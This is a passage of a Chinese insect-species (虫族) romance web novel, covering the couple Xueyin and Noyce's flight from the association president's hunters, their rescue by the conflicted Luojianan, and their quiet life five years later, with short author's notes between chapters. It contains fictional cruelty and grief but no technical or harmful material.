雪因见状也笑了起来,而后开口:“我不知道……我害怕我分不清。” “爱本来就是很缥缈的事情,只有当下、过去才是永恒。你朝着心走就好。” “不。”雪因用力摇头,“我会一直爱你,不管你变成什么样,我想一直爱你。我不想,我不敢去想象爱另一个虫的样子,我会觉得恐惧,会觉得我特别虚伪,会觉得我…灵魂脏了……”雪因低垂下眼眸,“我接受不了。” 太过纯粹,所以脆弱得容不下任何‘变化’或‘瑕疵’,沾了墨的雪便不再是雪。 是什么?雪因不敢想,只觉得恐惧。 这也是他迷茫的所在,心中空荡,抓起的支撑已经完成,生根发芽,却太过羸弱,曾经不顾一切想要抓住的温暖和爱到手后却发现这并不足以承载对莫测未来的全部想象和恐惧,于是便开始在夜风中摇摇欲坠。 诺伊斯:“……” 他深吸一口气,双手捧起雪因的脸,直视入那片蓝眸,“那就记住诺伊斯,迷茫的时候,不知道未来该怎么走的时候,就想‘我要一直爱诺伊斯’就好。在你找到下一个你想要的未来前。” “我无法承诺未来永远不变,也无法保证你此刻的感受会永恒。但至少现在,我们可以选择把握的‘当下’,去爱眼前这个真实的彼此。你可以暂时把‘意义’锚定在我身上,但你不必为此背负一生一世的重量。如果有一天,新的、属于你自己的未来出现了,你可以放心地、不带任何负罪感地去追寻。变了也没关系,迷茫了也没关系,我们可以一起,重新学会如何去认识对方,如何去爱。” …… 安抚到迷茫的小蝴蝶眼中散开云雾后,诺伊斯这才松了口气,想起还有现实问题亟待解决。 脚下的水已经漫到脚踝,诺伊斯不由得看了恶劣的环境叹了口气,把雪因抱起来,放到房间里唯一一把看起来还算稳固的椅子上坐好,位置正对着需要修理的水管。 按理说,这种粗活累活,不该让尊贵的雄虫殿下在旁观摩,该让他好好休息。但诺伊斯此刻才不管那些规矩:“你得陪我,就算什么也不干。” 其次是,敏感的小蝴蝶在开解过后,需要一些具体而琐碎的事情来转移注意力,将那些抽象的恐惧暂时搁置,而不是带着它们沉入梦中。 扳手用力一扭,原本只是渗漏的水流瞬间变成了激射的水柱,直直喷了诺伊斯一脸。 惹得雪因忍不住笑起来,眼眸弯弯的。 诺伊斯被冰凉的水浇了个透心凉,他胡乱抹了把脸,看着笑得开怀的小坏蛋,又好气又好笑。 他索性站起身,大步走过来,一把扯下湿透黏在身上的上衣,没好气地丢到一旁湿漉漉的沙发上,露出精悍的上身。他用干毛巾胡乱擦了擦头发和胸膛,直到手心搓得发热,才伸手不轻不重地掐了掐雪因笑得红扑扑的脸颊。 “不许笑!”他故作凶狠,“小坏蛋,你要是早点告诉我漏水了,我们至于现在大半夜的在这‘抗洪’吗?本来这时候我们应该在干燥温暖的床上睡觉!” 雪因笑着闪躲,“唔,好嘛,下次一定告诉你。” 于是,诺伊斯认命地踩在冰凉的积水里,继续跟那截不听话的水管搏斗。初春的夜晚寒意未消,还好他是体质强悍的雌虫,倒也能忍受。 好不容易修好了水管,诺伊斯刚直起腰松了口气。 “窗也是特意做成这样的吗?”雪因开口。 刚收好工具的诺伊斯:“……” 缓缓转头,看向发出细微风声的窗户。 “……”他深吸一口气,从牙缝里挤出声音,“还有什么?一起说!!!” “没了,真的。” 诺伊斯咬牙,翻找出半卷宽胶带,用牙‘刺啦’一声咬断一截,动作利落地开始往漏风的窗缝上贴。 “为什么用牙咬?你的‘爪子’呢?雌虫不是都可以部分虫化,让指甲变得很锋利吗?” 他记得老师讲过一些雌虫的战斗特性。 诺伊斯贴胶带的动作一顿,回头瞪了他一眼:“……那不叫‘爪子’!而且,你不觉得这样比较帅吗?” “你什么时候都帅。”雪因眨了眨眼,从善如流,甜甜的说。 “哼哼,算你有眼光。”诺伊斯被哄得身心舒畅,胶带也贴完了。他走回雪因身边,带着一身未干的水汽和修理工的荣誉感,一把将雪因从椅子上抱起来,搂进怀里,低头亲了亲他的发顶,“来吧,我亲爱的小美虫,现在让你雌虫体验一下,怀里抱着全宇宙最尊贵漂亮的雄虫殿下,是什么感觉。” 于是两人都没有再睡,诺伊斯将雪因紧紧搂进怀里亲吻。天也快亮了,两虫就这么坐在三高一低歪腿沙发上,看着远方一抹上升的太阳。 “还有一个问题。”雪因向后靠了靠,窝在诺伊斯温暖的怀里。 “嗯?” “我可以用精神力修复这些坏掉的东西你为什么还要自己动手修呢?”雪因仰起脸,蓝眸里满是纯粹和不解,“这也是今天的‘特别行程’之一吗?体验生活?” 诺伊斯:“……” “啊啊啊啊雪因!!!” —— “洛伽南。” 莫里亚斯端坐在雄虫协会象征最高权力的座椅上,像是之前被墨尔庇斯追杀得狼狈逃窜、如同丧家之犬的不是他一样。 虫族的世界,等级血脉往往意味着一切,如今那个实力强悍能定义秩序的虫入了星渊,他自然可以安然无恙地回归,继续做他高高在上的协会会长,掌控着无数雄虫与雌虫的命运。 此刻他居高临下望着下方的洛伽南,语气忽然轻柔了些:“说起来,你算是我唯一在世的雌虫崽了。” 虫族的社会结构向来以雄主为核心,雌君与雄子构成主要家庭单位。雌君所出的雌虫,或许还能偶尔在雄父心情好时得到逗弄,而雌侍…甚至那些连名分都模糊不清的雌虫所生的雌虫崽,在大多数高位雄虫眼中不过是消耗品。 莫里亚斯自己也记不清有多少雌虫崽了,反正雌虫崽天生对雄父的好感注定了他们永恒的忠诚,是他最趁手的工具。于是用着用着,竟消耗到了就剩这么一个。 他观察着洛伽南的表情,对方脸上没有任何情绪波动。莫里亚斯嘴角笑容凝固了一瞬,继续开口:“你知道你的雌父吗?他是一个……” 可惜莫里亚斯想了几秒,还是没有记起那个雌虫的模样。自从雌君去世后,他一生拥有的雌虫太多太多。只隐约记得是为了更合理,在送到雪因身边的前一天,才临时按上了一个“雌侍”的名头。 说实话,他这种雌虫也多得数不清,好用,就用着;不好用,就杀掉作为养分培育出其他更听话好用的雌虫。 但雌虫不就那样?莫里亚斯也没什么愧意的,反正雌虫都蠢得很,给点虚假的温情和承诺就能死心塌地,随便说什么都信,“你的雌父…他很爱你。当初怀着你的时候,就亲手给你做了好多小玩意儿,还总念叨着,要上战场立下军功,为你挣一个堂堂正正的身份,让你能脱离雄虫协会的束缚,自由地生活。” 果然,这一套下来他满意地看到洛伽南眼眸微动。 “可惜…墨尔庇斯杀了他。” “我的乖虫崽,”莫里亚斯从高高的座椅上走下,强忍着对雌虫接触的本能厌恶与轻蔑,极其勉强地抱了洛伽南一下,“你知道雪因在哪里,对不对?你陪在他身边的时间最长,最熟悉他的气息……去把他找回来,带到我身边,好不好?” “墨尔庇斯那个疯子,他不仅残忍地杀害了你的雌父,还一直虐待、囚禁你未来的雄主雪因,试图将他彻底占为己有。真是令虫作呕” 洛伽南声音没有任何起伏:“殿下不是一直身处维斯特冕王爵府中么?” 莫里亚斯被这平静的反问噎了一下。 这众所众知的事他当然知道,但血缘感知到的却不是这样,雄虫亲虫往往能感知后代的位置,可惜他和雪因之间血缘关系隔了太远,加上雪因算得上墨尔庇斯亲手喂大,没有参与他们这些本该是至亲的雄虫长辈投喂。于是他只能隐约猜测雪因可能不在帝星。 他眼中闪过一丝不耐,但很快又被虚伪的温情覆盖。 “洛伽南,等你把雪因平安带回来,我就当众宣布,你的雌父…是我雌侍。”莫里亚斯勉为其难许诺。 “而你,将是我唯一承认的虫崽,我的继承虫。你雌父在天上若知道这个消息,一定会非常欣慰的。对了,你雌父当初还特意为你取了一个正式的名字,我的…小洛瑞恩。来,叫我雄父就好。” “这也是命令么,会长阁下?”洛伽南回眸看向莫里亚斯,眼眸没有丝毫情绪波动。 莫里亚斯脸上的假笑消失。嘴角扯出讥诮与厌恶:“啧。我就说…雌虫都是些没有感情的东西。养不熟,也捂不热。” 话音未落,他猛地抬起脚,狠狠踹在洛伽南的胸口,带上了十足的精神力。 瞬间洛伽南吐出一口鲜血,但身型未动,眼神毫无波澜,跪在原地。 旁边的侍从早已司空见惯,立刻上前一左一右按住洛伽南的肩膀;另几名侍从则迅速跪在莫里亚斯脚边,小心翼翼擦拭他鞋上的血迹。 莫里亚斯嫌恶地看了一眼跪地无声的洛伽南。 “准备好追踪队和星舰,”他冷声吩咐,“带上他一起出发。洛伽南,”他的目光扫过洛伽南依旧空洞的白瞳,“不把雪因给我活着带回来,你也别回来了,死在外边,正好和你那愚蠢的雌父团聚。”—— 作者有话说:本卷侧重剧情感情铺垫,约20章内完结。关键节点预告:阿南克将于第76章正式出场;墨尔庇斯相关剧情需在阿南克故事线推进约5-6章后展开。对诺伊斯线兴趣较少的读者,可根据后续章节标题标注选择跳读。 近日经常加班,更新在每日凌晨1点前完成~感谢大家的耐心与陪伴,爱你们(づ ̄3 ̄)づ╭??~ 第75章 被追杀的王爵 “雪因!醒醒,别睡!” 诺伊斯在暴风雪中嘶吼,深一脚浅一脚地在及膝积雪中狂奔,带起大片的雪。 “嗯。”雪因身体绵软无力靠在他背上,银发散乱地贴在汗湿的颈侧,呼吸微弱得几乎感受不到。努力掀开沉重的眼皮,蔚蓝的瞳孔涣散一瞬,下意识命令,“左边…跳…” 诺伊斯毫不犹豫地遵从指令,脚下的虚空感传来,空间波纹荡开,两人的身影骤然从原地消失。 “轰——!!!” 能源炮弹精准地砸落在他们刚才的位置。剧烈的爆炸掀起漫天雪浪和泥土,将方圆数十米的积雪瞬间气化,留下焦黑的深坑,积雪震颤。 诺伊斯的身影在雪地踉跄出现,将背上滑落些许的雪因再次往上托了托,头也不回地继续在暴风雪狂奔。能见度极低,但恶劣的天气也成了他们的掩护,干扰空中追击者的视线。 星舰内,追踪屏幕上的热源信号时断时续,更别提这座星球磁场异常干扰得厉害。 “目标确认了吗?完全捕捉不到任何雄虫信息素特征。” “无法百分百确认。但会长阁下最新的指令是绝不能让他们落入那边。如果活捉风险太大…直接清除,以防万一。” “那个雌虫的空间跳跃能力太麻烦。会长阁下判断殿下在外很可能会伪装身份,隐藏信息素。” “可万一…他们是真的…我们岂不是会伤害到殿下?” “如果真是殿下,他身上有军团长留下的…不会轻易受伤,至于另一个无所谓。不要质疑会长,我们只需要执行命令。目标的移动频率明显下降了,连续三个月的消耗战,他们的体力和异能都到了极限。准备下一次齐射,覆盖那片区域。” …… “雪因,别再用精神力了!” 诺伊斯能感觉到背上的雄虫身体颤抖不已。 诺伊斯脖颈、手腕上,密密麻麻布满了这三个月来为了给雪因补充能量反复割开的伤口,旧伤叠着新伤,根本来不及愈合。但他提供的这点能量对于支撑雪因异能消耗来说完全不够用。 “再坚持一下…前面…有一个不稳定的天然虫洞波动…” 按常理,未知的虫洞是绝境中的最后选择,传送目的地完全随机,宇宙中充斥着各种极端环境、死寂星球甚至黑洞边缘,一旦误入,十死无生。 但是他没办法,追兵是从他们离开蒙特星系后不久出现的,带着雄虫协会徽记。雪因当机立断带着他连续空间转移,期间也反杀了几波,但太难缠了,简直没完没了,手段也越来越狠辣。 直到他发现雪因状态不对,试着求和,却发现对方根本不在意他们的死活。 诺伊斯甚至见到同样被雄虫协会盯上的虫,示弱后被他们毫不犹豫抹杀神志,变得痴呆才像对待货物一样绑回去。 雄虫协会会长已经疯了。 而且不知道用了什么方法,无论他们逃到哪里,用不了多久就会被再次锁定。 但雪因耗不起,逃跑太多次抓不住,他们开始气急败坏。 上周动用了足以摧毁小型星球的战略级武器,目标直指他们藏身的星球,就为了让他们彻底化为灰烬。他们可以逃,但是星球上的虫族是无辜的。雪因强行以血为引,构筑起笼罩大半星球的巨大屏障,硬生生扛下毁灭性轰击。 这才带着诺伊斯一同往荒星逃跑。但之后雪因开始意识模糊,清醒的时间越来越短,状态急转直下。 忽然闻到一股清甜的血腥味,诺伊斯猛地一僵,他颤抖着空出一只手,摸索着抚上雪因的脸颊,湿润的。 诺伊斯脑子瞬间一片空白。他缓缓将手举到眼前,是血。 雪因吐血了。 不能乱。他狠狠咬了下舌尖,“雪因,撑住。”他没有停下奔跑的脚步,只是将背上的人更稳地向上托了托,“我们不停下。” 雪因只感觉在诺伊斯背上,视线随着他奔跑的动作上下颠簸,脑袋突突的疼,过度使用精神力导致浑身都难受,但恢复一点精力后还是迷茫睁开蓝眸,下意识再次制造出空间跳跃。 空间再次扭曲。 他们忽的出现的漫天雪地中,好消息是,这次传送得比较远,暂时隔绝了追兵的气息,看来可以暂时休息半天。 雪因眼神空洞无法聚焦,他眨了眨眼,试图看清诺伊斯的脸,喉间腥甜再次涌上,微微抽搐,精神力严重透支反噬,暗红的血沫从唇角溢出,滴落在诺伊斯肩头。 他刚微微松了口气,肩头却传来温热的湿意。 诺伊斯将雪因从背上放下,单膝跪在雪地,将雪因揽入怀中,避开那刺目的血迹,先用指背极轻地拭过雪因的唇角,确认出血情况。最后才用掌心托住雪因冰凉的脸颊,目光沉静地望入那双涣散的蓝眸。 “雪因,看着我。保持清醒。” 雪因的眼神艰难地聚焦了一瞬,又涣散开,他微弱地摇头,气息奄奄:“没用的…没信号…你别想送我回帝星,我不想回去…” “好,不回去。” 诺伊斯立刻应承。他放弃去掏终端,转而用温热的双手紧紧包裹住雪因冰冷的手。“我们就在这儿。哪里也不去。” 雪因有些意外他的平静,涣散的目光终于在他脸上停留得久了一些,声音空洞:“我最后…想在外面…看看……” 雪因涣散的眼眸努力望向灰蒙蒙、风雪肆虐的天空,又看了看眼前诺伊斯几乎要崩溃的脸,声音空洞,仿佛连最后一丝求生的意志都要随着体温一同流失。 虫崽已经没了…… 他独自在那片黑暗里,会不会冷?说不定还在等着雄父抱他。 但诺伊斯还得活下去,他现在是诺伊斯的累赘。没有他就不会有追兵。 算了…就这样吧。谁也救不了,反正这一生,好像也没什么值得留恋了。 “别…送我回去。让我最后多看一眼…”雪因放弃了挣扎,声音越发空洞。 “不是最后。” 诺伊斯打断他。抬起手擦去雪因唇角新溢出的血沫,“只是中途休息。你看,追兵没跟来,我们暂时安全了。” “我们走了很远,你累了,需要恢复。这很正常。” 他将雪因的手贴在自己心口,让他感受那里沉稳有力的搏动,“感受一下,我还在这里,我们在一起。这就够了。” 雪因的睫毛颤动,泪混着血渍滑落。诺伊斯没有急着安慰,只是用指腹轻轻拭去,“等你好一点,我们就生火,把衣服烤干。这片雪原很安静,或许晚上能看到不一样的星星。” 雪因涣散的瞳孔看着诺伊斯狼狈不堪的模样:“对…不起…” “你之前半夜醒来,看着窗外,说小时候抚育虫用它来吓唬你,好让你乖乖睡觉。你还笑着说,现在不怕了,因为……” 他顿了顿,引导着。 雪因的嘴唇微不可察地动了一下,气若游丝地接上:“…因为,有你在。” “对,因为我在。” 诺伊斯立刻肯定,指尖温暖地摩挲着他的皮肤,“所以,你不能把我一个人丢在这片雪地里。没有你,我连红月和诅咒都分不清,我会迷路的,雪因。” “你说要给我最好的生活。” 诺伊斯继续引导,“最好的生活里,应该有我们一起挑选的家,有干燥温暖的床,有不会再漏水的房间…还有,很多很多个,一起看日出的清晨。就像那天一样,挤在那个破沙发上。” “沙发…腿是歪的…” 雪因的意识似乎被拉回了一些,喃喃道。 “对,三高一低。” 诺伊斯几乎要落泪,“所以我们需要赚很多星币,或者你用精神力把它修好?然后换一个更好的窗。这些最好的东西,都还在等着我们去实现,你答应过我的,不能言而无信,殿下。” “还有我们的虫崽……” 诺伊斯的声音沉了下去,“他一定很像你。如果他能破壳,一定会有和你一样漂亮的银发,或许还有一双漂亮的蓝眼睛。” 他感觉到雪因的身体在他怀里绷紧了。 “他没能来到这个世界,不是任何人的‘错误’或‘污点’。是我们一起爱过的证据,是我们曾经拼命想要保护他的证明。他的离开,是这个世界对我们的掠夺,不是你的失败,雪因。” 雪因却转而哽咽着说起另一件事:“我…我雄父的雌侍里,有一只亚雌…他当年,也是为了很多东西,为了能过得好,才跟了我雄父……后来他有了虫崽,他为了让虫崽在家里能过得更好,不被歧视…” “有一次我看到他…为了讨好我雌父,跪下任由其他虫欺辱。外面都说我们一家虫无比和谐。可我一直在想,这真的是他想要的结果么?” “未来很长,我不想你哭。不想看到你为了我们的虫崽,去向谁下跪,忍受谁的欺辱…诺伊斯,我知道你想要很多东西…我可以去挣!就算不依靠家族,不依靠任何人,我也能养活你,养活我们的虫崽!我不想让他做私生子,不想让他永远背负着雌侍所出的身份,永远低虫一等…我想给他最好的,我想让他堂堂正正地活在阳光下,不用看任何虫的脸色…我不想…他过那种生活。” “对不起,当初是我的错,我没有想到会害死虫崽,都是我的错。” 诺伊斯一怔。 “我知道了。” “你看到了那条路尽头的样子——像那只亚雌一样,跪下,失去尊严,把我们的虫崽也养成需要察言观色、永远低一等的存在。你想给我们开辟一条新的路,哪怕听起来天真愚蠢,看不见尽头。” “我们的虫崽……”诺伊斯的声音哽了一下,将雪因的手贴在自己心口,“他如果知道,他的雄父不是不要他,而是想给他一个能挺直脊梁、不必下跪的世界……他一定会为你骄傲的。他没能等到那个世界,不是你的错,是那些不允许这种世界存在的规则的错。” “所以不要放弃。你选择的这条路,我们才刚刚开始走。它很难,很冷,我们甚至失去了最珍贵的东西……但至少,我们还在彼此身边,我们的膝盖还是直的。” 大颗的泪珠从雪因眼角滚落,“我想我们的虫崽了…” “所以你不能认输。” 诺伊斯抵着他的额头,“你要带着他那份,一起活下去。替他去看看他没看过的风景,去体验他没能体验的生活。把你的眼睛借给他,雪因。这才是你能为他做的,最重要的事。” “我…我还能做到吗?我好痛,诺伊斯,我…” 雪因声音破碎,委屈不已。 “你能。” 诺伊斯毫不犹豫,“因为你是雪因,我的小雄主。只要你愿意,我们就能一起,把这场狼狈的逃亡变成我们旅程之一。” 雪因怔怔地看着他,“…冷。” 诺伊斯立刻将他拥入怀中,用自己温热的躯体包裹他:“忍一忍,前面有个山洞,我们进去避风。我生火给你取暖。” “抓紧我,别睡。给我讲讲,佐尔安卧室里那条鱼,后来怎么样了?我有点好奇。” 他不敢耽搁,背起意识模糊的雪因,挪向不远处被风雪半掩的山洞入口。山洞内漆黑阴冷,但总算能隔绝寒风。 忽的,身后又传来追兵的脚步声,诺伊斯回头望去,无路可退,他只能咬牙朝山洞深处奔去。 坏消息是,山洞不通,他跑入了一条死路。 诺伊斯强迫自己冷静下来,用最快速度将半昏迷的雪因安置在最内侧的角落,用身体和所能找到的少许碎石尽可能遮掩,同时大脑飞速运转:只有一名追兵,要么是顶尖精英,要么…他反手握紧唯一的武器。 脚步声越来越近,只有一只虫。白发,白瞳,眼神空洞无神,强大的SS级精神力场弥漫开来,却带着一种无目的感。 和之前那些杀气腾腾的追兵截然不同。 机会。诺伊斯瞬间判断。空洞的眼神往往意味着指令执行模式,而非主观杀意。等级够高,也意味着可能具备理性沟通的基础。 他调整了一下姿势,确保对方能清晰看到雪因属于维斯特家族的标志性银发和精致侧颜。 “阁下想必清楚眼前这是谁。” 诺伊斯开口,“雪因·维斯特冕王爵,大皇子明令寻找的要员,也是你们会长莫里亚斯阁下势在必得的资产。” “他若死在这里,对任何人,包括阁下和你所效忠的会长,都没有好处。大皇子绝不会善罢甘休。而一个活着的、状态可控的王爵,才是最有价值的筹码。” “他现在的状况很糟,需要立刻治疗。拖延下去,这份价值会大打折扣。我想,无论是大皇子还是莫里亚斯会长,都更愿意看到一个活着王爵,而不是一具冰冷的尸体。” 但雌虫像是没有看到他们,径直走向另一面,诺伊斯这才发现角落居然生长着一株被冰霜冻住的兰花。 雌虫喃喃像是自言自语。 “小兰花…在过于严酷的环境里,会陷入沉眠,降低消耗,保护核心。只要环境改善,给予耐心和时间,它还能慢慢恢复生机。但如果突然把它移入温暖的温室,被无数双手争抢、摆弄,暴露在太多目光和欲望之下,它反而会迅速枯萎,凋零。” 诺伊斯一顿,瞬间明白了他的意思——雪因现在虚弱是身体的自我保护机制,无碍,只是累了。 只是雪因从小被保护得太好,从未经历剧烈的消耗,真的以为自己要死掉了。而他过度担忧完全相信了雪因的判断,也跟着慌乱起来。 随后雌虫抬手,恐怖的精神力急速汇聚、压缩,形成一个闪烁着危险光芒的能量球。 诺伊斯瞳孔骤缩,想也不想,猛地转身,用整个身体死死护住身后的雪因。 一声巨响,狂暴的能量冲击波席卷而来,碎石飞溅,烟尘弥漫。 侧前方的石壁上,被洛伽南那一击轰出了一个巨大的残洞。 但他们身上却出现了一道精神力屏障。同时身边空间扭曲起来,出现通向未知充斥着力量的虫洞。 远处传来脚步声,更多的追兵来到,只是盯着他们身边被炸出的洞,像是完全看不到他们。 “洛伽南大人,这?” “失手。目标已确认死亡。不是我们要找的虫。” “是。” 诺伊斯最后看了一眼洛伽南,记下了这份恩情。随即一把将依旧昏迷的雪因牢牢抱起,转身踏入虫洞—— 作者有话说:节奏会不会有点快?[托腮] 第76章 虫崽 “雪因,又做噩梦了吗?” 雪因迷茫地睁开眼,入目的是诺伊斯棱角分明了许多的脸庞,二次分化过后,耀眼的红发沉淀为温润的玫瑰金色,带着侵略性诱惑意味的紫眸,也化作含着笑意的丹凤眼。只是眼眸看着雪因的模样依旧深邃柔情,嘴角噙着温柔,拿着柔软的手帕,轻轻擦拭雪因额间冷汗。 雪因摇了摇头,示意自己没事,缓缓撑着手臂坐起身。诺伊斯自然地拿过一旁外套,披在他的肩上。 接过诺伊斯递来的温水,雪因低头抿了一口。 “都过去五年了,我还是想不明白,当初老师为什么要杀我。”雪因缓缓开口,“我总是梦到那时候,你一身血在我面前。” 诺伊斯给雪因褪下睡衣的手一顿,轻笑了一声,“不是解释过很多次了吗?他想杀的是我,是‘诱惑殿下、还敢另结新欢的混账雌虫’,他以为我害你被囚禁后,还带另一只亚雌逃跑。他要是知道是你绝不会对你攻击。” “可是我当初听到他们提起殿下。”雪因乖巧地伸手,任由诺伊斯替他换上柔软衣物。 “帝星雌虫多半暗中仰慕您。在他们看来,您神圣不可侵犯。以为您是冒充的,自然为此不平,激动之下瞒着主虫做出些过激举动,也是能理解的。” 雪因:“……” 将目光投向窗外,晨光正透过玻璃洒满房间。这是一栋不算宽敞却足够温馨的两层小别墅,建在悬崖上方,阳光与景致都是上佳。 当初和诺伊斯从绝境的虫洞中逃出,便落到了这个星球。 坏消息是,这个星球科技水平极为滞后,星球本身奇特的磁场经常干扰甚至使精密仪器失灵,近乎与世隔绝。 好消息是,因为落后且偏僻,反而成了传说中的世外桃源的存在,平常虫很难发现这个星球,据说原住民也是无意间掉落空间缝隙来到这的。 意外的安全。 因为环境也适合居住,诺伊斯便带着雪因落了脚。一住,便是五年。 雪因轻轻叹了口气,彻底坐直身体。时间几乎没有在他身上留下痕迹,只是温和阳光的生活,稳定而充满爱意的陪伴,还是一点点抚平蓝眸累积的郁色。 于是愈发明亮,顾盼间流转出沉静温柔。 雪白长发垂落,精致到令虫惊心动魄的脸,少了几分阴郁后越发漂亮欲绝,唇珠饱满,淡粉色唇色,漂亮的眼睫轻颤。 垂眸,看着半跪在前为自己穿上袜子的诺伊斯。悄悄捻起一缕自己的雪发,趁诺伊斯低头时,趁机在上方搔了搔对方的后颈。 诺伊斯动作一滞,抬起头,对上雪因那双盛着狡黠笑意的蓝眼睛,无奈地笑了笑。“别闹了,我的殿下。起来吧,早餐准备好了。” “好~”雪因拉长了语调应道,声音娇懒,终于肯乖乖站起身。 “今天您有什么安排?”诺伊斯也跟着站起,顺手为他系好扣子。 “上午想去弱海边看看,下午要到奈孙先生那里去。他说最近整理古籍,有些内容不太明白,想请我帮忙参详一下。” 奈孙是他们在这颗星球住下后不久遇到的,也是一只亚雌,性情温和博学,这些年帮了略显年轻的他们很多忙。在这个落后的地方开了图书馆,日常雪因闲暇时便常去帮忙。 “那…晚上呢?”诺伊斯凑近了些。 雪因眼波流转,故意板起脸,一本正经地回答:“晚上?晚上当然是睡觉呀。” “好哇你!明明说好今晚要…”诺伊斯立刻稳不住装出的温柔,气急败坏起来,伸手要去捉他。 “当当当——!”雪因轻巧地旋身躲开,笑着指向客厅连接着的阳台。一幅被薄纱覆盖的画框倚在墙边,阳光透过纱幔,为它勾勒出朦胧的金边。“早就准备好啦!我怎么会忘记呢?今天是我们来到这里的第五个纪念日。礼物…希望你会喜欢。” “……”诺伊斯一怔,这才意识到被耍了,立刻无奈的耸肩,“你就可劲儿玩我吧~您开心就好。给我什么?我现在能看看吗?”话音未落,他按耐不住快步走向画。 房间四周不像雪因在王爵府那种精雕细琢着繁复浮雕的模样,反而贴满了两位主虫这些年来随手创作贴上的画作与涂鸦。 大部分是诺伊斯画的,笔触从最初的生涩僵硬,到现在以假乱真,快能媲美照片。相同的是,画中的主角始终只有他们俩。 他们在固定的画框世界中相拥,接吻,并肩坐在悬崖边晃着腿恣意大笑,躺倒在花田成大字型一同慵懒晒太阳。 诺伊斯手迫不及待抚上画上盖布,回头看向雪因示意询问。 “当然可以,这是你的礼物,你想什么时候看都可以。” 诺伊斯深吸一口气,轻轻揭开了薄纱。却是在学院的时候,诺伊斯有些恍如隔世,后知后觉已经过了这么久。 画面是那时候雪因向他求婚的场景。 不同的是,这次雪因给了画中虫一个好结局,雪因笑着躺在床上,诺伊斯温柔的伸手抚向他,指尖赫然出现一枚耀眼的钻戒。 诺伊斯感觉心脏传来酸软饱胀的悸动。回眸看向雪因,小雄子仍是当年的模样,有些不好意思别开脸,假装专注地欣赏着窗外,耳尖泛着淡淡的粉,故作随意:“就…随手画的,你喜欢就留着。” “我能……在上面加一点东西吗?” 雪因闻言转回目光,对上诺伊斯盈满笑意的眼眸,点了点头,走到他身边:“当然可以。” 于是诺伊斯拿起一旁的画笔,蘸上一点颜料,小小虫崽雏形出现在了他们中央。 雪因动作一怔。诺伊斯没有看他,只是用空着的另一只手握住他的手,眼眸专注看向画中。 温暖的触感从手心传来。 他们从雪山逃亡之后,很少再主动提起关于虫崽的话题。或者说,他们都在刻意回避。 诺伊斯恍若未觉一般,继续说:“你说…这个虫崽,应该是什么样子呢?我觉得…他应该像你一样,非常漂亮。有像天空和海洋一样的蓝色眼睛,雪白的长发。” 雪因静静地望着诺伊斯专注的侧脸,他沉默了片刻,蓝眸中的微澜渐渐平复,化为一泓温柔的静水。“我想…他会和你一样,发色会淡一些,玫瑰金色的头发…还有我蓝色的眼睛。” “嗯。”诺伊斯轻轻应了一声,笔尖落下,开始细细描绘。 雪因松了口气。 “不过仔细想想,”诺伊斯一边画着,自言自语地补充,“如果头发像你一样是白色的,好像也很不错。” “那眼睛就得是紫色的了。”雪因接口,“这样一看,就知道是我们两个的虫崽。” “……也行。”诺伊斯嘴角的弧度加深,笔下不停。 于是画布上的世界被温柔补全。他们怀中多了一个被温柔环抱的小小身影。虫崽有着蓬松柔软的雪发,清澈的紫眸,依恋地趴在雌父与雄父之间。 雪因不由得轻轻笑了笑:“你画得真像我的雄父。” “我们维斯特冕家,祖传的血脉特征便是白发紫眸。但是我雌父厉害,基因强势,所以我眼睛会是蓝色的。” “我的哥哥们里,也只有大哥和八哥继承了雄父的紫眸。所以我雄父在雌虫崽里比较喜欢大哥。我雌父就只喜欢我。” 雪因一顿,眼睫低垂下来,染上淡淡的思念,“不知道他们现在都怎么样了。” “他们会平安无事的,”诺伊斯伸臂将他轻轻揽入怀中,下颌抵着柔软发顶,“你不是说过,能从血脉的隐约牵连里,感知到他们没事吗?等帝星安稳,他们一定会来接你,说不定明天他们就会突然出现在门口呢。” “嗯。”雪因放松下来,再次看向画中。 “雪因,”诺伊斯轻松的提起,“我们……去领养一只虫崽吧。” “……” “不……不要。”他几乎是立刻反驳,眼神闪躲地垂下,“我、我不喜欢虫崽。” “嗯?”诺伊斯挑眉,看着雪因闪躲的眼神。雪因来到这里之后,除了用精神力覆盖住星球,让这五年内不再有雌虫因为精神海污染痛苦死亡,还时不时宣称有特殊手法,悄悄救回许多因缺乏雄虫信息素而濒危的虫崽。怎么可能不喜欢? “我倒是一直很喜欢虫崽,”诺伊斯继续开口,“也一直很难过…觉得自己不能再为你生下属于我们的虫崽—— “没关系的!”雪因几乎是急切地打断他,转过身来,双手揪住了诺伊斯的衣襟,蓝眸里写满了认真,“我、我本来就不太喜欢虫崽的。所以,你能不能生,真的……真的没关系。” 诺伊斯心底轻叹,他怎么会看不出雪因是在怕他难过。于是故意追问:“可是我喜欢虫崽怎么办?” “我……”雪因声音低落了下来,“我也不想让别的虫崽……替代我们虫崽的位置。” “当然不是替代,如果我们的虫崽知道,他的雄父身边能多一个能照顾他的虫,他或许会很开心。爱从来不会随着他的离去而一同被埋掉。” “真的吗?” “当然,我们抽空去福利院看看好不好?没有合适的虫族幼崽,如果没有就…领养其他种族也可以。多一个幼崽陪陪你、陪我们。到时候我工作,他就能在家照顾你,帮你整理书籍,唔…干活。”诺伊斯低头,在雪因头上落下一吻。 “才不要,你不可以虐待虫崽。” 诺伊斯摸了摸鼻子,不是很在意的说道:“没有虐待,雌虫崽都很能干的,破壳就能独立了,这算什么?要不就领养雄虫崽?虽然麻烦一些,但是…麻烦一些。呃…算了,看您喜欢,我都可以。” “……嗯。” —— 吃过早餐后,雪因独自来到了被称作弱海的海边。 诺伊斯接替了这片区域的管理,平日向来繁忙,但他总能平衡好。得益于这颗星球上虫族力量等级的普遍偏低,最高不过B级,大多停留在E、F级,安全方面无需过多忧虑。 雪因终于可以像普通虫一样,上午悠闲散步,下午去图书馆帮忙,偶尔运用能力悄悄救助需要信息素的虫崽。 坐在沙滩的长椅上,望向面前的海。 外界对这片海域闻风丧胆,称之为‘弱海’。传说触碰海水便会立时失去精神力,海面无法承载任何船只,任何力量进入其中都会消弭无形,即便是重物也会径直沉入幽暗的海底。夜晚是死气沉沉的黑,让虫望而生畏。 偏偏这座海的白天确是异常美丽,。微风中带着清新的咸味拂面而来,卷起雪因银白的长发。冬天快过去了,冰雪悄然融化。白鸟在海天之间自在翱翔,海中原生生物,头顶长着尖角的鲸时不时跃起,划出灵动的弧线。 雪因对这片海总有一种莫名的亲近感。尽管诺伊斯最初再三警告,但后来发现,只要不是长时间浸泡,并没有传说中那般骇人。失去的精神力在洗净海水后会缓慢恢复。许多恐惧或许源于未知、以讹传讹,便传得越发可怕。 “呼…”雪因轻轻吐出一口气,在空气中凝成薄霜。再过些日子,春天就该来了。 